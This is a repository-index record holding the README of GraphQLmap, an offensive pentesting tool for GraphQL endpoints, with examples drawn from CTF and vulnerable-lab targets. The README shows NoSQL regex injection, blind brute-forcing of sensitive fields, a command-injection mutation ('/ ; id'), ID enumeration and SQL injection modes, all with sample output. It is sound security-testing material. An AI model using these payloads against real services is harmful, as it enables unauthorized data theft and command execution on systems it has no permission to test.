{"id":13542070,"url":"https://github.com/swisskyrepo/GraphQLmap","last_synced_at":"2025-04-02T09:33:14.591Z","repository":{"id":40792193,"uuid":"193113448","full_name":"swisskyrepo/GraphQLmap","owner":"swisskyrepo","description":"GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)","archived":false,"fork":false,"pushed_at":"2024-03-11T15:46:30.000Z","size":60,"stargazers_count":1456,"open_issues_count":20,"forks_count":205,"subscribers_count":22,"default_branch":"master","last_synced_at":"2025-03-31T22:22:57.766Z","etag":null,"topics":["capture-the-flag","ctf","fuzz","graphql","graphql-injection","hacktoberfest","nosql-injection","pentest","sql-injection"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/swisskyrepo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"swisskyrepo","ko_fi":"swissky","custom":"https://www.buymeacoffee.com/swissky"}},"created_at":"2019-06-21T14:38:47.000Z","updated_at":"2025-03-29T21:56:20.000Z","dependencies_parsed_at":"2024-08-01T10:26:09.280Z","dependency_job_id":null,"html_url":"https://github.com/swisskyrepo/GraphQLmap","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/swisskyrepo%2FGraphQLmap","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/swisskyrepo%2FGraphQLmap/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/swisskyrepo%2FGraphQLmap/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/swisskyrepo%2FGraphQLmap/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/swisskyrepo","download_url":"https://codeload.github.com/swisskyrepo/GraphQLmap/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246789096,"owners_count":20834229,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["capture-the-flag","ctf","fuzz","graphql","graphql-injection","hacktoberfest","nosql-injection","pentest","sql-injection"],"created_at":"2024-08-01T10:01:00.997Z","updated_at":"2025-04-02T09:33:14.549Z","avatar_url":"https://github.com/swisskyrepo.png","language":"Python","funding_links":["https://github.com/sponsors/swisskyrepo","https://ko-fi.com/swissky","https://www.buymeacoffee.com/swissky"],"categories":["Offensive Security","Tools","Exploitation","Weapons","Python","Pentesting"],"sub_categories":["Exploitation","GraphQL Injection","Tools","Payloads"],"readme":"# GraphQLmap\n\n\u003e GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.\n\n\n* [Install](#install)\n* [Features and examples](#features-and-examples)\n  - [Dump a GraphQL schema](#dump-a-graphql-schema)\n  - [Interact with a GraphQL endpoint](#interact-with-a-graphql-endpoint)\n  - [Execute GraphQL queries](#)\n  - [Autocomplete queries](#)\n  - [GraphQL field fuzzing](#graphql-field-fuzzing)\n    - [Example 1 - Bruteforce a character](#example-1---bruteforce-a-character)\n    - [Example 2 - Iterate over a number](#example-2---iterate-over-a-number)\n  - [NoSQL injection inside a GraphQL field](#nosql-injection)\n  - [SQL injection inside a GraphQL field](#sqli-injection)\n\nI :heart: pull requests, feel free to improve this script :)\n\nYou can also contribute with a :beers: IRL or using Github Sponsoring button.\n\n## Install\n\n```basic\n$ git clone https://github.com/swisskyrepo/GraphQLmap\n$ python setup.py install\n$ graphqlmap                                                              \n   _____                 _      ____  _                            \n  / ____|               | |    / __ \\| |                           \n | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __  \n | | |_ | '__/ _` | '_ \\| '_ \\| |  | | |    | '_ ` _ \\ / _` | '_ \\ \n | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |\n  \\_____|_|  \\__,_| .__/|_| |_|\\___\\_\\______|_| |_| |_|\\__,_| .__/ \n                  | |                                       | |    \n                  |_|                                       |_|    \n                                         Author:Swissky Version:1.0\nusage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]\n\noptional arguments:\n  -h, --help           show this help message and exit\n  -u URL               URL to query : example.com/graphql?query={}\n  -v [VERBOSITY]       Enable verbosity\n  --method [METHOD]    HTTP Method to use interact with /graphql endpoint\n  --headers [HEADERS]  HTTP Headers sent to /graphql endpoint\n  --json [USE_JSON]    Use JSON encoding, implies POST\n  --proxy [PROXY]      HTTP proxy to log requests\n```\n\nDevelopment setup\n\n```ps1\npython -m venv .venv\nsource .venv/bin/activate\npip install --editable .\npip install -r requirements.txt\n./bin/graphqlmap -u http://127.0.0.1:5013/graphql\n```\n\n\n## Features and examples\n\n:warning: Examples are based on several CTF challenges from HIP2019.\n\n### Connect to a graphql endpoint\n\n```py\n# Connect using POST and providing an authentication token\ngraphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{\"Authorization\" : \"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o\"}'\n\n# Pass request through Burp Proxy\ngraphqlmap -u \"http://172.17.0.1:5013/graphql\" --proxy http://127.0.0.1:8080\n```\n\n### Dump a GraphQL schema\n\nUse `dump_new` to dump the GraphQL schema, this function will automatically populate the \"autocomplete\" with the found fields.    \n[:movie_camera: Live Example](https://asciinema.org/a/14YuWoDOyCztlx7RFykILit4S)\n\n```powershell\nGraphQLmap \u003e dump_new                     \n============= [SCHEMA] ===============\ne.g: name[Type]: arg (Type!)                   \n                                                                                               \nQuery                                          \n        doctor[]: email (String!),                                                             \n        doctors[Doctor]:                                                                       \n        patients[Patient]:                                                                     \n        patient[]: id (ID!),                   \n        allrendezvous[Rendezvous]:                                                             \n        rendezvous[]: id (ID!),                                                                \nDoctor                                         \n        id[ID]:                                                                                \n        firstName[String]:                     \n        lastName[String]:                                                                      \n        specialty[String]:                     \n        patients[None]: \n        rendezvous[None]: \n        email[String]: \n        password[String]: \n[...]\n```\n\n\n### Interact with a GraphQL endpoint\n\nWrite a GraphQL request and execute it.\n\n```powershell\nGraphQLmap \u003e {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admin\\\"} }\"){firstName lastName id}}\n{\n    \"data\": {\n        \"doctors\": [\n            {\n                \"firstName\": \"Admin\",\n                \"id\": \"5d089c51dcab2d0032fdd08d\",\n                \"lastName\": \"Admin\"\n            }\n        ]\n    }\n}\n```\n\nIt also works with `mutations`, they must be written in a single line.\n\n```ps1\n# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST\nGraphQLmap \u003e mutation { importPaste(host:\"localhost\", port:80, path:\"/ ; id\", scheme:\"http\"){ result }}\n{\n    \"data\": {\n        \"importPaste\": {\n            \"result\": \"uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\\n\"\n        {\n    {\n{\n```\n\n\n### GraphQL field fuzzing\n\nUse `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter.      \n[:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT)\n\n#### Example 1 - Bruteforce a character\n\n```powershell\nGraphQLmap \u003e {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"AdmiGRAPHQL_CHARSET\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi!\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi$\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi%\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi(\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi)\\\"} }\"){firstName lastName id}}   \n[+] Query: (206) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi*\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi+\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi,\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi-\\\"} }\"){firstName lastName id}}   \n[+] Query: (206) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi.\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi/\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi0\\\"} }\"){firstName lastName id}}   \n[+] Query: (45) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi1\\\"} }\"){firstName lastName id}}     \n[+] Query: (206) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admi?\\\"} }\"){firstName lastName id}}\n[+] Query: (206) {doctors(options: 1, search: \"{ \\\"lastName\\\": { \\\"$regex\\\": \\\"Admin\\\"} }\"){firstName lastName id}}\n```\n\n#### Example 2 - Iterate over a number\n\nUse `GRAPHQL_INCREMENT_` followed by a number.\n\n```powershell\nGraphQLmap \u003e { paste(pId: \"GRAPHQL_INCREMENT_10\") {id,title,content,public,userAgent} }\n[+] Query: (45) { paste(pId: \"0\") {id,title,content,public,userAgent} }\n[+] Query: (245) { paste(pId: \"1\") {id,title,content,public,userAgent} }\n[+] Query: (371) { paste(pId: \"2\") {id,title,content,public,userAgent} }\n[+] Query: (309) { paste(pId: \"3\") {id,title,content,public,userAgent} }\n[+] Query: (311) { paste(pId: \"4\") {id,title,content,public,userAgent} }\n[+] Query: (308) { paste(pId: \"5\") {id,title,content,public,userAgent} }\n[+] Query: (375) { paste(pId: \"6\") {id,title,content,public,userAgent} }\n[+] Query: (315) { paste(pId: \"7\") {id,title,content,public,userAgent} }\n[+] Query: (336) { paste(pId: \"8\") {id,title,content,public,userAgent} }\n[+] Query: (377) { paste(pId: \"9\") {id,title,content,public,userAgent} }\n\nGraphQLmap \u003e { paste(pId: \"9\") {id,title,content,public,userAgent} }\n{ paste(pId: \"9\") {id,title,content,public,userAgent} }\n{\n    \"data\": {\n        \"paste\": {\n            \"content\": \"I was excited to spend time with my wife without being interrupted by kids.\",\n            \"id\": \"UGFzdGVPYmplY3Q6OQ==\",\n            \"public\": true,\n            \"title\": \"This is my first paste\",\n            \"userAgent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0\"\n        }\n    }\n}\n```\n\n### GraphQL Batching\n\nGraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL\nUse `BATCHING_PLACEHOLDER` before a query to send it multiple times inside a single request.\n\n```ps1\nGraphQLmap \u003e BATCHING_3 {__schema{ types{namea}}}\n[+] Sending a batch of 3 queries\n[+] Successfully received 3 outputs\n\nGraphQLmap \u003e BATCHING_2 {systemUpdate}\n[+] Sending a batch of 2 queries\n[+] Successfully received 2 outputs\n```\n\n### NoSQLi injection\n\nUse `BLIND_PLACEHOLDER` inside the query for the `nosqli` function.    \n[:movie_camera: Live Example](https://asciinema.org/a/wp2lixHqRV0pxxhZ8nsgUj6s7)\n\n```powershell\nGraphQLmap \u003e nosqli\nQuery \u003e {doctors(options: \"{\\\"\\\"patients.ssn\\\":1}\", search: \"{ \\\"patients.ssn\\\": { \\\"$regex\\\": \\\"^BLIND_PLACEHOLDER\\\"}, \\\"lastName\\\":\\\"Admin\\\" , \\\"firstName\\\":\\\"Admin\\\" }\"){id, firstName}}\nCheck \u003e 5d089c51dcab2d0032fdd08d\nCharset \u003e 0123456789abcdef-\n[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b\nGraphQLmap \u003e\n```\n\n### SQL injection \n\n```powershell\nGraphQLmap \u003e postgresqli\nGraphQLmap \u003e mysqli\nGraphQLmap \u003e mssqli\n```\n\n## Practice\n\n* [Damn Vulnerable GraphQL Application - @dolevf](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/blob/master/setup.py) : `docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga`\n\n## TODO\n\n* GraphQL Field Suggestions\n* Generate mutation query\n* Unit tests\n* Handle node\n```\n{\n  user {\n    edges {\n      node {\n        username\n      }\n    }\n  }\n}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fswisskyrepo%2FGraphQLmap","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fswisskyrepo%2FGraphQLmap","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fswisskyrepo%2FGraphQLmap/lists"}